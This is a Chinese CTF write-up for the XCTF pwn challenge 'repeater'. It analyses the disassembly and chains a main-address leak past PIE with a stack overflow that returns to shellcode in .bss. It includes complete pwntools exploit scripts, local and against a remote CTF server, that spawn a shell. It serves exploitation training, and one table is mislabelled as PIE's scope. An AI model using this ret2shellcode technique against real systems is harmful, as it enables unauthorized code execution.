XCTF-repeater三链破盾:PIE泄露+ROP桥接+Shellcode执行的艺术
XCTF-repeater
一、题目来源
XCTF-Pwn-repeater
二、信息搜集
将题目给的二进制文件丢入Linux虚拟机中,由于文件名过长我已经将文件重命名为“pwn”
通过file命令查看文件类型:
通过checksec命令查看保护措施:
三、反汇编文件开始分析
1、三个关键点
将题目给的二进制文件丢入64位的Ida当中开始反汇编
首先看到main函数,下面是他的汇编代码:
.text:0000000000000A33 main proc near ; DATA XREF: start+1D↑o
.text:0000000000000A33 ; main+DD↓o
.text:0000000000000A33
.text:0000000000000A33 s = byte ptr -30h
.text:0000000000000A33 var_10 = dword ptr -10h
.text:0000000000000A33 var_4 = dword ptr -4
.text:0000000000000A33
.text:0000000000000A33 ; __unwind {
.text:0000000000000A33 push rbp
.text:0000000000000A34 mov rbp, rsp
.text:0000000000000A37 sub rsp, 30h
.text:0000000000000A3B mov eax, 0
.text:0000000000000A40 call sub_91B
.text:0000000000000A45 mov eax, 0
.text:0000000000000A4A call sub_A08
.text:0000000000000A4F mov [rbp+var_10], 123123h
.text:0000000000000A56 lea rdi, aICanRepeatYour ; "I can repeat your input......."
.text:0000000000000A5D call _puts
.text:0000000000000A62 lea rdi, aPleaseGiveMeYo ; "Please give me your name :"
.text:0000000000000A69 call _puts
.text:0000000000000A6E mov edx, 40h ; '@' ; n
.text:0000000000000A73 mov esi, 0 ; c
.text:0000000000000A78 lea rax, unk_202040
.text:0000000000000A7F mov rdi, rax ; s
.text:0000000000000A82 call _memset
.text:0000000000000A87 mov esi, 30h ; '0'
.text:0000000000000A8C lea rax, unk_202040
.text:0000000000000A93 mov rdi, rax
.text:0000000000000A96 call sub_982
.text:0000000000000A9B mov [rbp+var_4], 0
.text:0000000000000AA2 jmp loc_B2F
.text:0000000000000AA7 ; ---------------------------------------------------------------------------
.text:0000000000000AA7
.text:0000000000000AA7 loc_AA7: ; CODE XREF: main+102↓j
.text:0000000000000AA7 lea rax, unk_202040
.text:0000000000000AAE mov rsi, rax
.text:0000000000000AB1 lea rdi, format ; "%s's input :"
.text:0000000000000AB8 mov eax, 0
.text:0000000000000ABD call _printf
.text:0000000000000AC2 lea rax, [rbp+s]
.text:0000000000000AC6 mov edx, 20h ; ' ' ; n
.text:0000000000000ACB mov esi, 0 ; c
.text:0000000000000AD0 mov rdi, rax ; s
.text:0000000000000AD3 call _memset
.text:0000000000000AD8 lea rax, [rbp+s]
.text:0000000000000ADC mov edx, 40h ; '@' ; nbytes
.text:0000000000000AE1 mov rsi, rax ; buf
.text:0000000000000AE4 mov edi, 0 ; fd
.text:0000000000000AE9 call _read
.text:0000000000000AEE lea rdi, aSorryICanT ; "sorry... I can't....."
.text:0000000000000AF5 call _puts
.text:0000000000000AFA mov eax, [rbp+var_10]
.text:0000000000000AFD cmp eax, 321321h
.text:0000000000000B02 jnz short loc_B2B
.text:0000000000000B04 lea rdi, aButThereIsGift ; "But there is gift for you :"
.text:0000000000000B0B call _puts
.text:0000000000000B10 lea rax, main
.text:0000000000000B17 mov rsi, rax
.text:0000000000000B1A lea rdi, aP ; "%p\n"
.text:0000000000000B21 mov eax, 0
.text:0000000000000B26 call _printf
.text:0000000000000B2B
.text:0000000000000B2B loc_B2B: ; CODE XREF: main+CF↑j
.text:0000000000000B2B add [rbp+var_4], 1
.text:0000000000000B2F
.text:0000000000000B2F loc_B2F: ; CODE XREF: main+6F↑j
.text:0000000000000B2F mov eax, [rbp+var_10]
.text:0000000000000B32 cmp [rbp+var_4], eax
.text:0000000000000B35 jl loc_AA7
.text:0000000000000B3B mov eax, 0
.text:0000000000000B40 leave
.text:0000000000000B41 retn
.text:0000000000000B41 ; } // starts at A33
.text:0000000000000B41 main endp
简单分析过后,会发现三个关键信息
第一个,main函数中调用的read函数存在栈溢出现象,对应代码如下:
.text:0000000000000AD8 lea rax, [rbp+s]
.text:0000000000000ADC mov edx, 40h ; '@' ; nbytes
.text:0000000000000AE1 mov rsi, rax ; buf
.text:0000000000000AE4 mov edi, 0 ; fd
.text:0000000000000AE9 call _read
但是,能栈溢出但是溢出得不多,即使达到最大长度,也只能刚好覆盖完“返回地址”
这也就意味着单单通过该函数,我们无法构造长ROP
第二个,[rbp+var_10]中的值若等于0x321321会泄露main函数在.text段中的地址,对应代码如下:
.text:0000000000000AFA mov eax, [rbp+var_10]
.text:0000000000000AFD cmp eax, 321321h
.text:0000000000000B02 jnz short loc_B2B
.text:0000000000000B04 lea rdi, aButThereIsGift ; "But there is gift for you :"
.text:0000000000000B0B call _puts
.text:0000000000000B10 lea rax, main
.text:0000000000000B17 mov rsi, rax
.text:0000000000000B1A lea rdi, aP ; "%p\n"
.text:0000000000000B21 mov eax, 0
.text:0000000000000B26 call _printf
var_10= dword ptr -10h,[rbp+var_10]也就是[rbp-0x10]。
我们通过read输入信息的位置在[rbp+s],即[rbp-0x30],而输出的长度限制为0x40(明显大于0x20)
通过上述分析,我们就知道[rbp+var_10]的信息是受我们控制的
jnz即jump when not zere,那么代码
.text:0000000000000AFD cmp eax, 321321h
.text:0000000000000B02 jnz short loc_B2B
的意思是当eax与321321h不相等的时候,就会跳转到loc_B2B,但是如果我们想不跳转,就是让eax的值等于321321h,而eax的值来自于[rbp+var_10],所以我们只需要让[rbp+var_10]等于321321h就可以让该指令不跳转
若不跳转,程序继续执行,就来到了泄露main函数在.text段地址的地方了
在“信息搜集”阶段,我们发现了程序启用了PIE保护措施,PIE的保护范围如下:
区域 是否受NX影响 说明 栈(Stack) 受影响 栈区被标记为不可执行,防止shellcode放入栈中直接运行(防止传统栈溢出攻击) 堆(Heap) 受影响 大多数现代系统默认将堆区也设置为不可执行,防止heap spraying类攻击 数据段(.data / .bss) 受影响 防止攻击者构造可执行指令到这些数据区域 代码段(.text) 不受影响 本来就是存放合法可执行代码的区域,允许执行 可加载的映射文件段(mmap/mprotect) 可能影响 如果未显式设置为可执行,则不能执行,常被用于JIT技术防御 也就是说,我们本地看到的main函数在.text段的地址和服务器端运行程序中的main函数地址是不一样的
这个信息有什么用呢?我们等下再来分析
第三个,如果[rbp+var_10]的值小于循环次数,那么程序就会退出,对应代码如下:
.text:0000000000000B2B loc_B2B: ; CODE XREF: main+CF↑j
.text:0000000000000B2B add [rbp+var_4], 1
.text:0000000000000B2F
.text:0000000000000B2F loc_B2F: ; CODE XREF: main+6F↑j
.text:0000000000000B2F mov eax, [rbp+var_10]
.text:0000000000000B32 cmp [rbp+var_4], eax
.text:0000000000000B35 jl loc_AA7
.text:0000000000000B3B mov eax, 0
.text:0000000000000B40 leave
.text:0000000000000B41 retn
[rbp+var_4]的初始值为0
mov [rbp+var_4], 0
程序经过一次循环就会使得其值加1,因此[rbp+var_4]代表的其实就是已经进行的循环次数的统计
.text:0000000000000B32 cmp [rbp+var_4], eax
.text:0000000000000B35 jl loc_AA7
jl,即jump when less,当[rbp+var_4]的值小于eax的值(其值来自于[rbp+var_10])的时候,程序就会继续,即开启下一个循环
反之,程序就会退出
这一信息很关键,关键的原因就在于:
如果你利用栈溢出去覆盖返回地址成你想要的地址,想着函数返回的时候就能劫持程序执行流程成自己想要的样子
但是如果程序一直处于死循环的状态,也就是说根本到达不了“函数返回”的那一步,那么你“通过溢出劫持程序执行流”这么一个操作也就无法实现
而在本题中,main函数中的循环次数到达0x123123才会结束,就类似于死循环了,如果我们不希望等那么久,就需要手动设置[rbp+var_10]中的值
2、思路可行性分析
能实现栈溢出,但是无法构造长ROP,这里就可以联想到两个思路:
(1)写入shellcode,然后返回shellcode所在位置
(2)栈迁移,构造长ROP
(1)思路一可行性分析
首先,分析一下思路一的可行性
在main函数中,除了read函数可以写入信息,我们还可以通过sub_982函数写入信息,下面是main函数中调用该函数的部分:
mov esi, 30h ; '0'
lea rax, unk_202040
mov rdi, rax
call sub_982
我们也可以点入该函数,去看看该函数的实现逻辑,下面是其代码:
.text:0000000000000982 sub_982 proc near ; CODE XREF: main+63↓p
.text:0000000000000982
.text:0000000000000982 var_20 = qword ptr -20h
.text:0000000000000982 buf = qword ptr -18h
.text:0000000000000982 var_8 = qword ptr -8
.text:0000000000000982
.text:0000000000000982 ; __unwind {
.text:0000000000000982 push rbp
.text:0000000000000983 mov rbp, rsp
.text:0000000000000986 sub rsp, 20h
.text:000000000000098A mov [rbp+buf], rdi
.text:000000000000098E mov [rbp+var_20], rsi
.text:0000000000000992 jmp short loc_9EF
.text:0000000000000994 ; ---------------------------------------------------------------------------
.text:0000000000000994
.text:0000000000000994 loc_994: ; CODE XREF: sub_982+7C↓j
.text:0000000000000994 mov rax, [rbp+buf]
.text:0000000000000998 mov edx, 1 ; nbytes
.text:000000000000099D mov rsi, rax ; buf
.text:00000000000009A0 mov edi, 0 ; fd
.text:00000000000009A5 call _read
.text:00000000000009AA mov [rbp+var_8], rax
.text:00000000000009AE cmp [rbp+var_8], 0
.text:00000000000009B3 jz short loc_A02
.text:00000000000009B5 cmp [rbp+var_8], 0FFFFFFFFFFFFFFFFh
.text:00000000000009BA jnz short loc_9D6
.text:00000000000009BC call ___errno_location
.text:00000000000009C1 mov eax, [rax]
.text:00000000000009C3 cmp eax, 0Bh
.text:00000000000009C6 jz short loc_9EF
.text:00000000000009C8 call ___errno_location
.text:00000000000009CD mov eax, [rax]
.text:00000000000009CF cmp eax, 4
.text:00000000000009D2 jnz short loc_A05
.text:00000000000009D4 jmp short loc_9EF
.text:00000000000009D6 ; ---------------------------------------------------------------------------
.text:00000000000009D6
.text:00000000000009D6 loc_9D6: ; CODE XREF: sub_982+38↑j
.text:00000000000009D6 mov rax, [rbp+buf]
.text:00000000000009DA movzx eax, byte ptr [rax]
.text:00000000000009DD cmp al, 0Ah
.text:00000000000009DF jnz short loc_9EA
.text:00000000000009E1 mov rax, [rbp+buf]
.text:00000000000009E5 mov byte ptr [rax], 0
.text:00000000000009E8 jmp short locret_A06
.text:00000000000009EA ; ---------------------------------------------------------------------------
.text:00000000000009EA
.text:00000000000009EA loc_9EA: ; CODE XREF: sub_982+5D↑j
.text:00000000000009EA add [rbp+buf], 1
.text:00000000000009EF
.text:00000000000009EF loc_9EF: ; CODE XREF: sub_982+10↑j
.text:00000000000009EF ; sub_982+44↑j ...
.text:00000000000009EF mov rax, [rbp+var_20]
.text:00000000000009F3 lea rdx, [rax-1]
.text:00000000000009F7 mov [rbp+var_20], rdx
.text:00000000000009FB test rax, rax
.text:00000000000009FE jnz short loc_994
.text:0000000000000A00 jmp short locret_A06
.text:0000000000000A02 ; ---------------------------------------------------------------------------
.text:0000000000000A02
.text:0000000000000A02 loc_A02: ; CODE XREF: sub_982+31↑j
.text:0000000000000A02 nop
.text:0000000000000A03 jmp short locret_A06
.text:0000000000000A05 ; ---------------------------------------------------------------------------
.text:0000000000000A05
.text:0000000000000A05 loc_A05: ; CODE XREF: sub_982+50↑j
.text:0000000000000A05 nop
.text:0000000000000A06
.text:0000000000000A06 locret_A06: ; CODE XREF: sub_982+66↑j
.text:0000000000000A06 ; sub_982+7E↑j ...
.text:0000000000000A06 leave
.text:0000000000000A07 retn
.text:0000000000000A07 ; } // starts at 982
.text:0000000000000A07 sub_982 endp
可以看到非常的长,我们没必要全部读懂,可以根据上下文以及程序实际运行效果来推断该函数的逻辑
根据其中的read(0,[rbp+buf],1),可以看出他是一个一个进行写入的,要写入多少个呢?不就是存在esi寄存器中的值吗?也就是0x30,那要写入的位置是[rbp+buf],这个位置来自于寄存器rdi,也就是unk_202040
unk_202040这是一个未初始化的全局变量,在.bss段中
.bss:0000000000202040 unk_202040 db ? ; ; DATA XREF: main+45↑o
好,那么该函数的大致作用就是接受限制长度的用户输入数据
既然存在输入点,我们再结合本题的保护措施----NX disabled
也就是说,我们可以利用sub_982函数在.bss段写入shellcode,接下来就只需要返回该地址即可完成getshell
这里就需要提到我们之前讲到的关键点2了,由于本题开启了PIE,那么.bss段的地址会随机化,即每次运行程序.bss段所在的内存地址都是不一样的
但是好在,本题给了我们泄露服务器运行程序中main函数所在的真实内存地址的方法,我们只需要泄露main函数所在的内存地址,即可算出本程序在服务器内存中的基址,根据.bss段离基址的偏移量,即可得到.bss段在服务器运行程序中的真实内存地址
因此,思路一是可行的
(2)思路二可行性分析
通过ROPgadget工具可以找到栈溢出的关键gadget:
0x0000000000000a06 : leave ; ret
我们可以通过sub_982函数写入ROP链,接着通过read构造栈迁移的payload,将栈迁移到.bss段上
当然本思路也需要配合main函数真实地址的泄露来完成
但是,既然能直接写入shellcode且具有可执行权限,为什么不直接采用思路一呢?
确实,思路二相对于思路一就显得多此一举,但是也存在可行性
可是你想,你不写入shellcode,那么你就只能泄露libc、采用系统调用或者.got劫持(本题直接pass,因为保护措施中有“Full RELRO”),这几个思路的ROP不算短,而且sub_982也并非无限制写入(限制0x30)
我没尝试过思路二的具体实现,不过大概率会因为ROP长度而失败,大家有兴趣可以试试
四、Poc构造
根据上面分析的思路,我们就可以顺理成章地完成Poc的构造
本地Poc(具体解释已经在代码中注释):
from pwn import *context(arch='amd64', os='linux') #用于构造符合架构和OS的shellcode
p = process('./pwn')shellcode = asm(shellcraft.sh()) #构造能getshell的shellcodep.sendlineafter(b"Please give me your name :",shellcode) #第一次输入,写入shellcode# 第二次输入:泄露main地址
payload = b'A'*32 + p64(0x321321) #泄露地址需要让[rbp+var_10]=0x321321
p.sendline(payload)p.sendlineafter("'s input :",payload)
p.recvuntil("But there is gift for you :\n")
main_leak = int(p.recvline().strip().decode(),16)
base = main_leak - 0xA33 #算出程序在内存中的基址
bss_addr = base + 0x202040 #根据偏移量得出.bss所在的真实地址
log.info(f"Main: {hex(main_leak)}, Base: {hex(base)}, BSS: {hex(bss_addr)}")# 第三次输入:栈溢出,返回shellcode所在位置,实现ret2shellcode
payload = b"A" * 32
payload += p64(0) #为了程序退出,将参数[rbp+var_10]赋值得比循环次数小
payload += b"A" * 16
payload += p64(bss_addr)
p.sendline(payload)p.interactive()
运行效果:
成功拿下本地shell
远程Poc:
from pwn import *context(arch='amd64', os='linux') #用于构造符合架构和OS的shellcode
p = remote("61.147.171.103",52594)shellcode = asm(shellcraft.sh()) #构造能getshell的shellcodep.sendlineafter(b"Please give me your name :",shellcode) #第一次输入,写入shellcode# 第二次输入:泄露main地址
payload = b'A'*32 + p64(0x321321) #泄露地址需要让[rbp+var_10]=0x321321
p.sendline(payload)p.sendlineafter("'s input :",payload)
p.recvuntil("But there is gift for you :\n")
main_leak = int(p.recvline().strip().decode(),16)
base = main_leak - 0xA33 #算出程序在内存中的基址
bss_addr = base + 0x202040 #根据偏移量得出.bss所在的真实地址
log.info(f"Main: {hex(main_leak)}, Base: {hex(base)}, BSS: {hex(bss_addr)}")# 第三次输入:栈溢出,返回shellcode所在位置,实现ret2shellcode
payload = b"A" * 32
payload += p64(0) #为了程序退出,将参数[rbp+var_10]赋值得比循环次数小
payload += b"A" * 16
payload += p64(bss_addr)
p.sendline(payload)p.interactive()
成功拿下flag!
五、知识点加油站
本题涉及到的知识点
1、pwntools生成shellcode
(1)基本构造方法
from pwn import *# 指定架构和系统(常见的是 i386 + linux)
context(arch='i386', os='linux')# 使用 shellcraft 构造一个执行 /bin/sh 的 shellcode
shellcode = asm(shellcraft.sh())
asm就是一个pwntools提供的将汇编代码打包成二进制代码的一个函数
(2)支持的架构(arch)
架构名 | 含义 | 说明 |
---|---|---|
'i386' | 32位 x86架构 | 常用于CTF、老程序 |
'amd64' | 64位 x86_64架构 | 现代系统主流 |
'arm' | 32位 ARM架构 | 移动设备、嵌入式系统常见 |
'aarch64' | 64位 ARM架构 | 现代安卓手机、树莓派64位 |
'mips' | 32位 MIPS架构 | 常用于路由器、IoT |
'mips64' | 64位 MIPS架构 | 稀有 |
'powerpc' | PowerPC架构 | 老式Mac或嵌入式系统 |
'sparc' | SPARC架构 | 特定服务器系统 |
'riscv' | RISC-V架构 | 新兴开源指令集 |
(3)支持的操作系统(os)
系统名 | 说明 |
---|---|
'linux' | 大多数题目或系统使用的默认值 |
'windows' | 用于 Windows PE 分析与构造 |
'freebsd' | 自由BSD系统,少见 |
'none' | 裸机程序,如bootloader、裸汇编等 |
(4)shellcraft
shellcraft
是pwntools提供的一个shellcode模板库,支持多种功能:
用法 | 含义 |
---|---|
shellcraft.sh() | 执行/bin/sh的经典shellcode |
shellcraft.cat(‘flag.txt’) | 输出flag.txt的内容 |
shellcraft.linux.read(fd, addr, size) | 调用系统的read函数 |
shellcraft.amd64.sh() | 针对64位系统的shellcode |
shellcraft.i386.sh() | 显式指定i386(32位) |
其生成的都是汇编代码,需要asm进行打包
(5)查看shellcode内容
from pwn import *
context(arch='i386', os='linux')
sc = asm(shellcraft.sh())
print(disasm(sc)) # 反汇编查看生成内容
2、NX
(1)什么是NX?
NX全称为No-eXecute,即不可执行
它是一种通过硬件和操作系统联合实现的安全机制,用于标记内存页不可执行,即防止代码在某些内存区域执行
(2)为什么需要NX?
在早期的缓冲区溢出攻击中,攻击者常常将shellcode注入到栈(stack)、堆(heap)或.bss段中,然后通过覆盖返回地址,让程序跳转到这些区域执行shellcode
问题:这些区域原本是用来存储数据的,不应该执行代码!
所以,NX的作用就是为了阻止这种行为,通过标记内存区域为non-executable
,使得即使攻击者注入了 shellcode,也无法执行,从而防止攻击
(3)保护范围
区域 | 是否受NX影响 | 说明 |
---|---|---|
栈(Stack) | 受影响 | 栈区被标记为不可执行,防止shellcode放入栈中直接运行(防止传统栈溢出攻击) |
堆(Heap) | 受影响 | 大多数现代系统默认将堆区也设置为不可执行,防止heap spraying类攻击 |
数据段(.data / .bss) | 受影响 | 防止攻击者构造可执行指令到这些数据区域 |
代码段(.text) | 不受影响 | 本来就是存放合法可执行代码的区域,允许执行 |
可加载的映射文件段(mmap/mprotect) | 可能影响 | 如果未显式设置为可执行,则不能执行,常被用于JIT技术防御 |
3、PIE
(1)什么是PIE?
PIE:全称Position Independent Executable
它是一种编译方式,使得程序在运行时可以被加载到任意地址处执行,从而支持代码段的地址随机化
(2)PIE随机化了哪些区域
区域 | 是否受 PIE 影响 | 说明 |
---|---|---|
.text 段 | ✅ 会随机化 | 存放程序的指令 |
.data 段 | ✅ 会随机化 | 存放初始化的全局变量 |
.bss 段 | ✅ 会随机化 | 存放未初始化的全局/静态变量 |
.rodata 段 | ✅ 会随机化 | 只读数据段,如字符串常量等 |
GOT / PLT 表 | ✅ 会随机化 | 随.text 和.data 随动 |
栈(Stack) | ❌ 不由PIE控制 | 由ASLR控制,单独随机化 |
堆(Heap) | ❌ 不由PIE 控制 | 由ASLR控制,单独随机化 |
libc / ld.so | ❌ 不由PIE控制 | 由ASLR控制,动态库的加载地址是独立的 |